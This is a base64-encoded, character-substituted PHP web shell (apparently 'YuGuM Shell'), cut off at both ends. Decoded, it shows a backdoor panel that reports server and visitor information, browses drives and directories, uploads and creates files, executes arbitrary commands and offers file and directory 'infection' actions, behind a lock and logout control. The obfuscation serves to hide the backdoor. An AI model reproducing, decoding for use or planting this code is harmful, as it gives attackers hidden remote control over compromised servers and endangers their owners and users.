BdICsgNjsKCQk1bHM1ICRuM20gPSAkbjNtWzBdOwoJfQoJNWxzNSAkbjNtID0gJG4zbTsKCXI1dDNybiAkbjNtOwp9CgovKnM0ejUgMmYgZjRsNSA0biBiICwgS0IsIE1CKi8KZjNuY3Q0Mm4gdDJ0MWxzNHo1KCRmNGw1czR6NSl7CgkkczR6NSA9IGY0bDVzNHo1KCRmNGw1czR6NSk7CgkkdDJ0MWxzNHo1ID0gZjJybTF0X24zbSgkczR6NSk7CglyNXQzcm4gJHQydDFsczR6NTsKfQoKLypyNW0ydjUgMSBkNHIgMW5kIDFsbCBmNGw1IDRuczRkNSA0dCovCmYzbmN0NDJuIHJtZDRycigkZDRyX3JtKSB7Cgk0ZigkNG50NXJuMWwgPSBAZ2wyYigkZDRyX3JtLiIvKiIpKXsKCQlmMnI1MWNoKCQ0bnQ1cm4xbCAxcyAkZjRsNSkgewoJCQk0Zig0c19mNGw1KCRmNGw1KSkgQDNubDRuaygkZjRsNSk7CgkJCTVsczU0Zig0c19kNHIoJGY0bDUpKSBybWQ0cnIoJGY0bDUpOwoJCX0KCX0KCUBybWQ0cigkZDRyX3JtKTsKfQoKLypmNGw1IHA1cm00c3M0Mm5zKi8KZjNuY3Q0Mm4gZzV0cDVybXMoJGYpICB7CgkkbTJkNSA9IGY0bDVwNXJtcygkZik7CgkkcDVybSA9ICIiOwoJJHA1cm0gLj0gKCRtMmQ1ICYgMDB1MDApID8gJ3InIDogJy0nOwoJJHA1cm0gLj0gKCRtMmQ1ICYgMDBhMDApID8gJ3cnIDogJy0nOwoJJHA1cm0gLj0gKCRtMmQ1ICYgMDA2MDApID8gJ3gnIDogJy0nOwoJJHA1cm0gLj0gKCRtMmQ1ICYgMDAwdTApID8gJ3InIDogJy0nOwoJJHA1cm0gLj0gKCRtMmQ1ICYgMDAwYTApID8gJ3cnIDogJy0nOwoJJHA1cm0gLj0gKCRtMmQ1ICYgMDAwNjApID8gJ3gnIDogJy0nOwoJJHA1cm0gLj0gKCRtMmQ1ICYgMDAwMHUpID8gJ3InIDogJy0nOwoJJHA1cm0gLj0gKCRtMmQ1ICYgMDAwMGEpID8gJ3cnIDogJy0nOwoJJHA1cm0gLj0gKCRtMmQ1ICYgMDAwMDYpID8gJ3gnIDogJy0nOwoJcjV0M3JuICRwNXJtOwp9Ci8vIFo0cCBmM25jdDQybnMKCi8qejRwIHYxcnMqLwokZDF0MXM1YyA9IDFycjF5KCk7CiRjdHJsX2Q0ciA9IDFycjF5KCk7CiQ1MmZfY3RybF9kNHIgPSAiXHhpMFx4dWJceDBpXHgwZVx4MDBceDAwXHgwMFx4MDAiOwokMmxkXzJmZnM1dCA9IDA7CiR6NHBfNXJyMnIgPSAxcnIxeSgpOwoKLyogYzJudjVydCB0NG01ICovCmYzbmN0NDJuIDNuNHhhRDJzVDRtNSgkM240eHQ0bTUgPSAwKSB7CgkkdDRtNTFycjF5ID0gKCQzbjR4dDRtNSA9PSAwKSA/IGc1dGQxdDUoKSA6IGc1dGQxdDUoJDNuNHh0NG01KTsKCTRmICgkdDRtNTFycjF5Wyd5NTFyJ10gPCA2OTgwKXsKCQkkdDRtNTFycjF5Wyd5NTFyJ10gICAgPSA2OTgwOwoJCSR0NG01MXJyMXlbJ20ybiddICAgICA9IDY7CgkJJHQ0bTUxcnIxeVsnbWQxeSddICAgID0gNjsKCQkkdDRtNTFycjF5WydoMjNycyddICAgPSAwOwoJCSR0NG01MXJyMXlbJ200bjN0NXMnXSA9IDA7CgkJJHQ0bTUxcnIxeVsnczVjMm5kcyddID0gMDsKCX0KCXI1dDNybiAoKCR0NG01MXJyMXlbJ3k1MXInXSAtIDY5ODApIDw8IGFpKSB8ICgkdDRtNTFycjF5WydtMm4nXSA8PCBhNikgfCAoJHQ0bTUxcnIxeVsnbWQxeSddIDw8IDZlKSB8ICgkdDRtNTFycjF5WydoMjNycyddIDw8IDY2KSB8ICgkdDRtNTFycjF5WydtNG4zdDVzJ10gPDwgaSkgfCAoJHQ0bTUxcnIxeVsnczVjMm5kcyddID4+IDYpOwp9CgovKmc1biBmNGw1IDRuIDFyY2g0djUqLwpmM25jdDQybiAxZGRfRjRsNSgkZDF0MSwgJG4xbTUsICR0NG01ID0gMCl7CglnbDJiMWwgJGQxdDFzNWM7CglnbDJiMWwgJGN0cmxfZDRyOwoJZ2wyYjFsICQybGRfMmZmczV0OwoJJG4xbTUgPSBzdHJfcjVwbDFjNSgnXFwnLCAnLycsICRuMW01KTsKCSRkdDRtNSA9IGQ1Y2g1eCgzbjR4YUQyc1Q0bTUoJHQ0bTUpKTsKCSRoNXhkdDRtNSA9ICdceCcuJGR0NG01W2VdLiRkdDRtNVs3XS4nXHgnLiRkdDRtNVt1XS4kZHQ0bTVbaV0uJ1x4Jy4kZHQ0bTVbYV0uJGR0NG01W29dLidceCcuJGR0NG01WzBdLiRkdDRtNVs2XTsKCTV2MWwoJyRoNXhkdDRtNSA9ICInIC4gJGg1eGR0NG01IC4gJyI7Jyk7CgkkM25jX2w1biA9IHN0cmw1bigkZDF0MSk7CgkkY3JjID0gY3Jjb2EoJGQxdDEpOwoJJHpkMXQxID0gZ3pjMm1wcjVzcygkZDF0MSk7CgkkemQxdDEgPSBzM2JzdHIoczNic3RyKCR6ZDF0MSwgMCwgc3RybDVuKCR6ZDF0MSkgLSB1KSwgYSk7CgkkY19sNW4gPSBzdHJsNW4oJHpkMXQxKTsKCSRmciA9ICJceGkwXHh1Ylx4MG9ceDB1XHg2dVx4MDBceDAwXHgwMFx4MDhceDAwIi4kaDV4ZHQ0bTUucDFjaygnVicsICRjcmMpLnAxY2soJ1YnLCAkY19sNW4pLnAxY2soJ1YnLCAkM25jX2w1bikucDFjaygndicsIHN0cmw1bigkbjFtNSkpLnAxY2soJ3YnLCAwKS4kbjFtNS4kemQxdDEucDFjaygnVicsICRjcmMpLnAxY2soJ1YnLCAkY19sNW4pLnAxY2soJ1YnLCAkM25jX2w1bik7CgkkZDF0MXM1Y1tdID0gJGZyOwoJJG41d18yZmZzNXQgPSBzdHJsNW4oNG1wbDJkNSgnJywgJGQxdDFzNWMpKTsKCSRjZHI1YyA9ICJceGkwXHh1Ylx4MDZceDBhXHgwMFx4MDBceDZ1XHgwMFx4MDBceDAwXHgwOFx4MDAiLiRoNXhkdDRtNS5wMWNrKCdWJywgJGNyYykucDFjaygnVicsICRjX2w1bikucDFjaygnVicsICQzbmNfbDVuKS5wMWNrKCd2Jywgc3RybDVuKCRuMW01KSApLnAxY2soJ3YnLCAwICkucDFjaygndicsIDAgKS5wMWNrKCd2JywgMCApLnAxY2soJ3YnLCAwICkucDFjaygnVicsIG9hICkucDFjaygnVicsICQybGRfMmZmczV0ICk7CgkkMmxkXzJmZnM1dCA9ICRuNXdfMmZmczV0OwoJJGNkcjVjIC49ICRuMW01OwoJJGN0cmxfZDRyW10gPSAkY2RyNWM7IAp9CgovKiBnNW4gZjRsNSBjMm50NW50cyovCmYzbmN0NDJuIGc1bl9mNGw1KCl7CglnbDJiMWwgJDUyZl9jdHJsX2Q0cjsKCWdsMmIxbCAkZDF0MXM1YzsKCWdsMmIxbCAkY3RybF9kNHI7CgkkZDF0MSA9IDRtcGwyZDUoJycsICRkMXQxczVjKTsKCSRjdHJsZDRyID0gNG1wbDJkNSgnJywgJGN0cmxfZDRyKTsKCXI1dDNybiAkZDF0MSAuICRjdHJsZDRyIC4gJDUyZl9jdHJsX2Q0ciAuIHAxY2soJ3YnLCBzNHo1MmYoJGN0cmxfZDRyKSkgLiBwMWNrKCd2JywgczR6NTJmKCRjdHJsX2Q0cikpIC4gcDFjaygnVicsIHN0cmw1bigkY3RybGQ0cikpIC4gcDFjaygnVicsIHN0cmw1bigkZDF0MSkpIC4gIlx4MDBceDAwIjsKfQoKLyogMWRkIDEgZjRsNSAqLwpmM25jdDQybiAxZGRGNGw1KCRmNGw1KSB7Cgk0ZiAoZjRsNV81eDRzdHMoJGY0bDUpKSAxZGRfRjRsNSg0bXBsMmQ1KCcnLGY0bDUoJGY0bDUpKSwkZjRsNSk7Cgk1bHM1IHo0cF81cnIycigkZjRsNSw2KTsKfQoKLyogMWRkIGQ0ciAqLwpmM25jdDQybiAxZGRENHIoJGQ0cjEsJHAxdGggPSAtNikgewoJNGYgKGY0bDVfNXg0c3RzKCRkNHIxKSkgewoJCTRmICgkcDF0aCA9PSAtNikgJHAxdGggPSAkZDRyMTsKCQkkZDRyXyA9IDJwNW5kNHIoJGQ0cjEpOwoJCTRmKHI1MWRkNHIoJGQ0cl8pKXsKCQkJd2g0bDUgKCRmNGw1ID0gcjUxZGQ0cigkZDRyXykpIHsKCQkJCTFkZF9GNGw1KDRtcGwyZDUoJycsZjRsNSgkZDRyMS4iLyIuJGY0bDUpKSwkcDF0aC4iLyIuJGY0bDUpOwoJCQl9CgkJfQoJfQoJNWxzNSB6NHBfNXJyMnIoJGQ0cjEsYSk7Cn0KCi8qIDFkZCAxbGwgZjRsNSA0biAxIGQ0ciovCmYzbmN0NDJuIFAxY2tENHIoJGQ0cjEgPSAnJyl7CgkkYzNycjVudF9kNHIgPSBnNXRjd2QoKTsKCTRmKCRkNHIxICE9ICcnKSBjaGQ0cigkZDRyMSk7CgkkcjJ3ID0gMXJyMXkoKTsKCWYycjUxY2goZ2wyYigiKiIpIDFzICRmNGw1KXsKCQkkcjJ3W10gPSAkZjRsNTsKCX0KCWNoZDRyKCRjM3JyNW50X2Q0cik7CglmMnIoJDEgPSAwOyAkMSA8IGMyM250KCRyMncpOyAkMSsrKXsKCQk0ZigkcjJ3WyQxXSAhPSAiLiIgJiYgJHIyd1skMV0gIT0gIi4uIil7CgkJCTRmKCRkNHIxICE9ICcnKXsKCQkJCTRmKDRzX2Q0cigkZDRyMS4iLyIuJHIyd1skMV0pKSBQMWNrRDRyKCRkNHIxLiIvIi4kcjJ3WyQxXSk7CgkJCQk1bHM1IDFkZEY0bDUoJGQ0cjEuIi8iLiRyMndbJDFdKTsKCQkJfQoJCQk1bHM1ewoJCQkJNGYoNHNfZDRyKCRyMndbJDFdKSkgUDFja0Q0cigkcjJ3WyQxXSk7CgkJCQk1bHM1IDFkZEY0bDUoJHIyd1skMV0pOwoJCQl9CgkJfQoJfQp9CgovKiBjcjUxdDUgMXJjaDR2NSAqLwokbjFtNV96NHAgPSAiIjsKZjNuY3Q0Mm4gY3I1MXQ1X3o0cCgkZjRsNSwkZDRyX3o0cCA9ICcnKSB7CglnbDJiMWwgJHo0cF81cnIycjsKCWdsMmIxbCAkbjFtNV96NHA7CglQMWNrRDRyKCRkNHJfejRwKTsKCSRmNGw1ID0gZzVuX2Y0bDVuMW01KCRmNGw1KTsKCSRuMW01X3o0cCA9ICRmNGw1OwoJJGZwID0gZjJwNW4oJGY0bDUsJzErJyk7Cglmd3I0dDUoJGZwLGc1bl9mNGw1KCkpOwoJZmNsMnM1KCRmcCk7Cgk0ZigkejRwXzVycjJyWzBdICE9ICIiKSByNXQzcm4gZjFsczU7Cgk1bHM1IHI1dDNybiB0cjM1Owp9CgovKiA1cnIycnMgMmYgejRwICovCmYzbmN0NDJuIHo0cF81cnIycigkbjFtNSwkdHlwNSl7CglnbDJiMWwgJHo0cF81cnIycjsKCTRmKCR0eXA1ID09IDYpICR0eXA1ID0gImY0bDUiOwoJNWxzNTRmKCR0eXA1ID09IGEpICR0eXA1ID0gImQ0cjVjdDJyeSI7CgkkejRwXzVycjJyW10gPSAiRXJyMnIgMWRkNG5nICIuJHR5cDUuIiAiLiRuMW01Owp9CgovLyBBbGwgSW5mMnJtMXQ0Mm5zOgoKLyo0cCAxZGRyNXNzKi8KJDRwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107CgovKnM0dDUgcjVmNXI1ciovCiRyNWY1cjVyID0gJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOwoKNGYoJHI1ZjVyNXIgPT0gIiIpICRyNWY1cjVyID0gIm4zbGwiOwoKLypzaDVsbCBsMmMxdDQybiovCiRzaDVsbF9sMmMxdDQybiA9IGc1dGN3ZCgpOwoKLyo0cCAyZiBzNXJ2NXIqLwokczVydjVyXzRwID0gJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ107CgovKjNzNXIxZzVudCovCiQzczVyMWc1bnQgPSBodG1sc3A1YzQxbGNoMXJzKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSk7CgovKnM1cnY1ciBzMmZ0dzFyNSovCiRzNXJ2NXJfczJmdHcxcjUgPSAkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ107CgovKjNuMW01Ki8KJDNuMW01ID0gcGhwXzNuMW01KCk7CgovKmQyYzNtNW50IHIyMnQqLwokZDJjX3IyMnQgPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddOwoKLyptMWc0Y19xMzJ0NXNfZ3BjKi8KNGYoNG40X2c1dCgibTFnNGNfcTMydDVzX2dwYyIpICE9IDApICRtMWc0Y19xMzJ0NXNfZ3BjID0gIjxmMm50IGMybDJyPVwiZ3I1NW5cIj5PbjwvZjJudD4iOwo1bHM1NGYoNG40X2c1dCgibTFnNGNfcTMydDVzX2dwYyIpID09IDApJG0xZzRjX3EzMnQ1c19ncGMgPSAiPGYybnQgYzJsMnI9XCJyNWRcIj5PZmY8L2YybnQ+IjsKCi8qczFmNSBtMmQ1Ki8KNGYoNG40X2c1dCgiczFmNV9tMmQ1IikgPT0gMCkkczFmNV9tMmQ1ID0gIjxmMm50IGMybDJyPVwicjVkXCI+T2ZmPC9mMm50PiI7Cgo1bHM1NGYoNG40X2c1dCgiczFmNV9tMmQ1IikgIT0gIjAiKSRzMWY1X20yZDUgPSAiPGYybnQgYzJsMnI9XCJncjU1blwiPk9uPC9mMm50PiI7CgovKnI1ZzRzdDVyIGdsMmIxbHMqLwo0Zig0bjRfZzV0KCJyNWc0c3Q1cl9nbDJiMWxzIikgID09ICI2IikkcjVnNHN0NXJnbDJiMWxzID0gIjxmMm50IGMybDJyPVwiZ3I1NW5cIj5PbjwvZjJudD4iOwo1bHM1NGYoNG40X2c1dCgicjVnNHN0NXJfZ2wyYjFscyIpICE9ICI2IikkcjVnNHN0NXJnbDJiMWxzID0gIjxmMm50IGMybDJyPVwicjVkXCI+T2ZmPC9mMm50PiI7CgovKlNwMWM1IGZyNTUqLwokZnI1NXNwMWM1ID0gZjJybTF0X24zbShkNHNrX2ZyNTVfc3AxYzUoZzV0Y3dkKCkpKTsKCi8qVDJ0MWwgc3AxYzUqLwokdDJ0MWxzcDFjNSA9IGYycm0xdF9uM20oZDRza190MnQxbF9zcDFjNShnNXRjd2QoKSkpOwoKLyogVXM1ZCBzcDFjNSAqLwokM3M1ZHNwMWM1ID0gZjJybTF0X24zbShkNHNrX3QydDFsX3NwMWM1KGc1dGN3ZCgpKSAtIGQ0c2tfZnI1NV9zcDFjNShnNXRjd2QoKSkpOwoKLyogJSBmcjU1IHNwMWM1ICovCiRwNXJjNW50ZnI1NXNwMWM1ID0gZjJybTF0X24zbV8oKGQ0c2tfZnI1NV9zcDFjNShnNXRjd2QoKSkgKiA2MDApIC8gZDRza190MnQxbF9zcDFjNShnNXRjd2QoKSkpOwoKLyogJSAzczVkIHNwMWM1ICovCiRwNXJjNW50M3M1ZHNwMWM1ID0gNjAwIC0gJHA1cmM1bnRmcjU1c3AxYzU7CgovL0dFVCB2MXJzCi8qZDRyIGwyYzF0NDJuKi8KJGQ0ciA9IGh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydkNHInXSk7CgovKmQ0ciAxY3Q0Mm5zKi8KJGQ0cmQ1bDV0NSA9IGh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydkNHJkNWw1dDUnXSk7CiRkNHJyNW4xbTUgPSBodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnZDRycjVuMW01J10pOwoKLypmNGw1IDFjdDQybnMqLwokZjRsNWQ1bDV0NSA9IGh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydmNGw1ZDVsNXQ1J10pOwokZjRsNTJwNW4gPSBodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnZjRsNTJwNW4nXSk7CiRmNGw1NWQ0dCA9IGh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydmNGw1NWQ0dCddKTsKJGY0bDVyNW4xbTUgPSBodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnZjRsNXI1bjFtNSddKTsKJGY0bDVjMnB5ID0gaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ2Y0bDVjMnB5J10pOwokNG5mNWN0ZjRsNSA9IGh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWyc0bmY1Y3RmNGw1J10pOwokNG5mNWN0ZDRyID0gaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJzRuZjVjdGQ0ciddKTsKCi8qQWN0NDJucyovCiQxY3Q0Mm4gPSBodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnMWN0NDJuJ10pOwoKLyogY2htMmQgdjFyICovCiRjaG0yZCA9IGh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydjaG0yZCddKTsKCjRmKCRkNHIgIT0gIiIpewoJNGYoJHN0cjRwXzFsbCkgJGQ0ciA9IHN0cjRwc2wxc2g1cygkZDRyKTsKCWNoZDRyKCRkNHIpOwoJJGQ0ciA9IGc1dGN3ZCgpOwp9CjVsczUgJGQ0ciA9IGc1dGN3ZCgpOwo0Zig0c19mNGw1KCRzaDVsbF9sMmMxdDQybi4iLyIubWRpKCcxbmRybzE5YScpKSkgJGxrID0gIjNubDJjayI7CjVsczUgJGxrID0gImwyY2siOwo1Y2gyICI8dDFibDUgYjJyZDVyPVwiMFwiIGM1bGxwMWRkNG5nPVwiMFwiIGM1bGxzcDFjNG5nPVwiMFwiPgo8dHI+PHRkIGJnYzJsMnI9XCJibDFja1wiPjxjNW50NXI+PHQxYmw1IDRkPVwicTM1cnltNW4zXCI+PHRyPjx0ZD48YzVudDVyPjxmMm50IHM0ejU9XCJvXCIgYzJsMnI9XCIjMDBmZjAwXCI+WXVHdU02IFNob2xsIH4gSW5mMjwvZjJudD48L2M1bnQ1cj48L3RkPjx0ZCB3NGR0aD1cIjZlXCI+PGYycm0gMWN0NDJuPVwiXCIgbTV0aDJkPVwiUE9TVFwiIG4xbTU9XCJsMmNrMWN0NDJuc1wiPgo8NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCJsMmNrMWN0NDJuXCIgdjFsMzU9XCIiLiRsay4iXCI+PDEgaHI1Zj1cIiNcIiAybmNsNGNrPVwiZDJjM201bnQubDJjazFjdDQybnMuczNibTR0KClcIj48NG1nIHNyYz1cIiIuJHNoNWxsLiI/NG1nPSIuJGxrLiJcIiBiMnJkNXI9XCIwXCIgdDR0bDU9XCIiLiRsay4iXCI+PC8xPjwvZjJybT48L3RkPiI7CjRmKCRsayA9PSAiM25sMmNrIikgNWNoMiAiPHRkIHc0ZHRoPVwiNmVcIj48ZjJybSAxY3Q0Mm49XCJcIiBtNXRoMmQ9XCJQT1NUXCIgbjFtNT1cImwyZzIzdFwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cImwyZzIzdFwiIHYxbDM1PVwiNlwiPjwxIGhyNWY9XCIjXCIgMm5jbDRjaz1cImQyYzNtNW50LmwyZzIzdC5zM2JtNHQoKVwiPjw0bWcgc3JjPVwiIi4kc2g1bGwuIj80bWc9bDJnMjN0XCIgYjJyZDVyPVwiMFwiIHQ0dGw1PVwiTDJnMjN0XCI+PC8xPjwvZjJybT48L3RkPiI7CjVjaDIgIjwvdHI+PC90MWJsNT48L2M1bnQ1cj48L3RkPjwvdHI+PC90MWJsNT48dDFibDUgYjJyZDVyPVwiMFwiIGM1bGxwMWRkNG5nPVwiMFwiIGM1bGxzcDFjNG5nPVwiMFwiPgo8dHI+PHRkIGJnYzJsMnI9XCIjQ0NDQ0NDXCI+PGM1bnQ1cj48ZjJudCBjMmwycj1cInI1ZFwiPlM1cnY1ciBJbmYyPC9mMm50PjwvYzVudDVyPjwvdGQ+PC90cj4KPHRyPjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPgombmJzcDsmbmJzcDsmbmJzcDtTNXJ2NXIgNHA6ICIuJHM1cnY1cl80cC4iPGJyPgombmJzcDsmbmJzcDsmbmJzcDtTNXJ2NXIgczJmdHcxcjU6ICIuJHM1cnY1cl9zMmZ0dzFyNS4iPGJyPgombmJzcDsmbmJzcDsmbmJzcDtVbjFtNSAtMTogIi4kM24xbTUuIjxicj4KJm5ic3A7Jm5ic3A7Jm5ic3A7VDJ0MWwgc3AxYzU6ICIuJHQydDFsc3AxYzUuIjxicj4KJm5ic3A7Jm5ic3A7Jm5ic3A7VXM1ZCBzcDFjNTogIi4kM3M1ZHNwMWM1LiIgWyAiLiRwNXJjNW50M3M1ZHNwMWM1LiIlIF08YnI+CiZuYnNwOyZuYnNwOyZuYnNwO0ZyNTUgc3AxYzU6ICIuJGZyNTVzcDFjNS4iIFsgIi4kcDVyYzVudGZyNTVzcDFjNS4iJSBdPGJyPgo8L3RkPjwvdHI+PHRyPjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPjxjNW50NXI+PGYybnQgYzJsMnI9XCJyNWRcIj5ZMjNyIEluZjI8L2YybnQ+PC9jNW50NXI+PC90ZD48L3RyPgo8dHI+PHRkIGJnYzJsMnI9XCIjQ0NDQ0NDXCI+CiZuYnNwOyZuYnNwOyZuYnNwO1kyM3IgNHA6ICIuJDRwLiI8YnI+CiZuYnNwOyZuYnNwOyZuYnNwO1VzNXIxZzVudDogIi4kM3M1cjFnNW50LiI8YnI+CjwvdGQ+PC90cj48dHI+PHRkIGJnYzJsMnI9XCIjQ0NDQ0NDXCI+PGM1bnQ1cj48ZjJudCBjMmwycj1cInI1ZFwiPkc1bjVyNGMgSW5mMjwvZjJudD48L2M1bnQ1cj48L3RkPjwvdHI+Cjx0cj48dGQgYmdjMmwycj1cIiNDQ0NDQ0NcIj4KJm5ic3A7Jm5ic3A7Jm5ic3A7UzR0NSByNWY1cjVyOiAiLiRyNWY1cjVyLiI8YnI+CiZuYnNwOyZuYnNwOyZuYnNwO0MzcnI1bnQgZDRyOiAiLiRkNHIuIjxicj4KJm5ic3A7Jm5ic3A7Jm5ic3A7U2g1bGwgbDJjMXQ0Mm46ICIuJHNoNWxsX2wyYzF0NDJuLiI8YnI+CiZuYnNwOyZuYnNwOyZuYnNwO0QyYzNtNW50IHIyMnQ6ICIuJGQyY19yMjJ0LiI8YnI+CiZuYnNwOyZuYnNwOyZuYnNwO1NoNWxsIG4xbTU6ICIuJHNoNWxsLiI8YnI+CiZuYnNwOyZuYnNwOyZuYnNwO1MxZjUgbTJkNTogIi4kczFmNV9tMmQ1LiI8YnI+CiZuYnNwOyZuYnNwOyZuYnNwO1I1ZzRzdDVyIEdsMmIxbHM6ICIuJHI1ZzRzdDVyZ2wyYjFscy4iPGJyPgombmJzcDsmbmJzcDsmbmJzcDtNMWc0YyBRMzJ0NXM6ICIuJG0xZzRjX3EzMnQ1c19ncGMuIjwvdGQ+PC90cj48dHI+PHRkIGJnYzJsMnI9XCIjQ0NDQ0NDXCI+PGM1bnQ1cj48ZjJudCBjMmwycj1cInI1ZFwiPkNoZDRyPC9mMm50PjwvYzVudDVyPjwvdGQ+PC90cj4iOwo0ZihzdHJ0MmwydzVyKHMzYnN0cihQSFBfT1MsMCxvKSkgPT0gInc0biIpewoJNWNoMiAiPHRyPjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPjx0MWJsNSA0ZD1cImRyNHY1c1wiPjx0cj4iOwoJZjJyNTFjaChyMW5nNSgiQSIsIloiKSAxcyAkbDV0dDVyKXsKCQk0ZigkbDV0dDVyID09ICJBIikgNWNoMiAnPHRkPjxmMnJtIG4xbTU9ImRyNHY1X0EiIDFjdDQybj0iJy4kc2g1bGwuJyIgbTV0aDJkPSJQT1NUIj48NG5wM3QgdHlwNT0iaDRkZDVuIiBuMW01PSJkNHIiIHYxbDM1PSInLigiQTpcXCIpLiciPjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcyKCkiPlsgQSBdPC8xPjwvZjJybT48L3RkPic7CgkJNWxzNXsKCQkJNGYoNHNfZDRyKCRsNXR0NXIuIjpcXCIpKSA1Y2gyICc8dGQ+PGYycm0gbjFtNT0iZHI0djVfJy4kbDV0dDVyLiciIDFjdDQybj0iJy4kc2g1bGwuJyIgbTV0aDJkPSJQT1NUIj48NG5wM3QgdHlwNT0iaDRkZDVuIiBuMW01PSJkNHIiIHYxbDM1PSInLigkbDV0dDVyLiI6XFwiKS4nIj48MSBocjVmPSIjIiAybmNsNGNrPSJkMmMzbTVudC5kcjR2NV8nLiRsNXR0NXIuJy5zM2JtNHQoKSI+WyAnLiRsNXR0NXIuJyBdPC8xPjwvZjJybT48L3RkPic7CgkJfQoJfQoJNWNoMiAiPC90cj48L3QxYmw1PjwvdGQ+PC90cj4iOwp9CjVjaDIgIjx0cj48dGQgYmdjMmwycj1cIiNDQ0NDQ0NcIj48ZjJybSAxY3Q0Mm49XCJcIiBtNXRoMmQ9XCJQT1NUXCIgbjFtNT1cIkNoRDRyXCI+Jm5ic3A7Jm5ic3A7Jm5ic3A7RDRyIHAxdGg6IDw0bnAzdCB0eXA1PVwidDV4dFwiIHM0ejU9XCJvMFwiIG4xbTU9XCJkNHJcIiB2MWwzNT1cIiIuZzV0Y3dkKCkuIlwiPiA8NG5wM3QgdHlwNT1cInMzYm00dFwiIHYxbDM1PVwiQ2hkNHJcIj48L2Yycm0+PC90ZD48L3RyPjwvdDFibDU+PGJyPgo8dDFibDUgYjJyZDVyPVwiMFwiIGM1bGxwMWRkNG5nPVwiMFwiIGM1bGxzcDFjNG5nPVwiMFwiPgo8dHI+PHRkIGJnYzJsMnI9XCJibDFja1wiPjxjNW50NXI+PGYybnQgczR6NT1cIm9cIiBjMmwycj1cIiMwMGZmMDBcIj5ZdUd1TTYgU2hvbGwgfiBUMjJsczwvZjJudD48L2M1bnQ1cj48L3RkPjwvdHI+CjwvdDFibDU+PHQxYmw1IGIycmQ1cj1cIjBcIiBjNWxscDFkZDRuZz1cIjBcIiBjNWxsc3AxYzRuZz1cIjBcIj48dHI+Cjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPjxjNW50NXI+PGYycm0gMWN0NDJuPVwiIi4kc2g1bGwuIlwiIG01dGgyZD1cIlBPU1RcIiBuMW01PVwiMWN0NDJuMFwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cIjFjdDQyblwiIHYxbDM1PVwiM3BsMjFkXCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiZDRyXCIgdjFsMzU9XCIiLiRkNHIuIlwiPjwxIGhyNWY9XCIjXCIgMm5jbDRjaz1cImQyYzNtNW50LjFjdDQybjAuczNibTR0KClcIj5VcGwyMWQgMSBmNGw1PC8xPjwvYzVudDVyPjwvZjJybT48L3RkPgo8dGQgYmdjMmwycj1cIiNDQ0NDQ0NcIj48YzVudDVyPjxmMnJtIDFjdDQybj1cIiIuJHNoNWxsLiJcIiBtNXRoMmQ9XCJQT1NUXCIgbjFtNT1cIjFjdDQybjZcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCIxY3Q0Mm5cIiB2MWwzNT1cIm1kXCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiZDRyXCIgdjFsMzU9XCIiLiRkNHIuIlwiPjwxIGhyNWY9XCIjXCIgMm5jbDRjaz1cImQyYzNtNW50LjFjdDQybjYuczNibTR0KClcIj5NMWs1IDEgZDRyNWN0MnJ5PC8xPjwvYzVudDVyPjwvZjJybT48L3RkPgo8dGQgYmdjMmwycj1cIiNDQ0NDQ0NcIj48YzVudDVyPjxmMnJtIDFjdDQybj1cIiIuJHNoNWxsLiJcIiBtNXRoMmQ9XCJQT1NUXCIgbjFtNT1cIjFjdDQybmFcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCIxY3Q0Mm5cIiB2MWwzNT1cIjV4NVwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cImQ0clwiIHYxbDM1PVwiIi4kZDRyLiJcIj48MSBocjVmPVwiI1wiIDJuY2w0Y2s9XCJkMmMzbTVudC4xY3Q0Mm5hLnMzYm00dCgpXCI+RXg1YzN0NSAxIGMybW0xbmQ8LzE+PC9jNW50NXI+PC9mMnJtPjwvdGQ+Cjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPjxjNW50NXI+PGYycm0gMWN0NDJuPVwiIi4kc2g1bGwuIlwiIG01dGgyZD1cIlBPU1RcIiBuMW01PVwiMWN0NDJub1wiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cIjFjdDQyblwiIHYxbDM1PVwibWZcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCJkNHJcIiB2MWwzNT1cIiIuJGQ0ci4iXCI+PDEgaHI1Zj1cIiNcIiAybmNsNGNrPVwiZDJjM201bnQuMWN0NDJuby5zM2JtNHQoKVwiPk0xazUgMSBmNGw1PC8xPjwvYzVudDVyPjwvZjJybT48L3RkPgo8dGQgYmdjMmwycj1cIiNDQ0NDQ0NcIj48YzVudDVyPjxmMnJtIDFjdDQybj1cIiIuJHNoNWxsLiJcIiBtNXRoMmQ9XCJQT1NUXCIgbjFtNT1cIjFjdDQybnVcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCIxY3Q0Mm5cIiB2MWwzNT1cImMybm41